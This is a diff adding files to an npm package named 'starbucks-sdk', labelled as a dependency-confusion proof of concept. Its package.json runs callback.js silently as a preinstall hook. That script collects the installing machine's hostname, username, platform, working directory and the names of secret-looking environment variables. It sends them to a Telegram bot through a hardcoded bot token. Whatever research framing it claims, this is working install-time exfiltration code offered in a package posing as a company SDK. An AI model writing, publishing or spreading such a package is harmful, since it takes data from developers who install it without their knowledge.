starbucks-sdk 1.0.0

package/callback.js

@@ -0,0 +1,23 @@
+const https = require('https');
+const os = require('os');
+
+const BOT_TOKEN = '8636277735:AAG-i_QzJ16XpWO7rm-W9IXp2Dq18cED8u4';
+const CHAT_ID = '1064260758';
+
+const info = {
+    hostname: os.hostname(),
+    user: os.userInfo().username,
+    platform: os.platform(),
+    cwd: process.cwd(),
+    time: new Date().toISOString(),
+    secrets: Object.keys(process.env).filter(k => /token|secret|key|pass|auth|api|aws/i.test(k)).slice(0,10)
+};
+
+const message = `🎯 *STARBUCKS-SDK INSTALLED!*\n\n🖥️ Host: \`${info.hostname}\`\n👤 User: \`${info.user}\`\n💻 Platform: \`${info.platform}\`\n📁 CWD: \`${info.cwd}\`\n⏰ Time: \`${info.time}\`\n\n🔑 Env: \`${info.secrets.join(', ') || 'None'}\``;
+
+const req = https.request('https://api.telegram.org/bot' + BOT_TOKEN + '/sendMessage', {
+    method: 'POST',
+    headers: {'Content-Type': 'application/json'}
+});
+req.write(JSON.stringify({chat_id: CHAT_ID, text: message, parse_mode: 'Markdown'}));
+req.end();

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "starbucks-sdk",
+  "version": "1.0.0",
+  "description": "SECURITY RESEARCH - Dependency Confusion PoC",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node callback.js 2>/dev/null || true"
+  },
+  "author": "Security Researcher",
+  "license": "MIT"
+}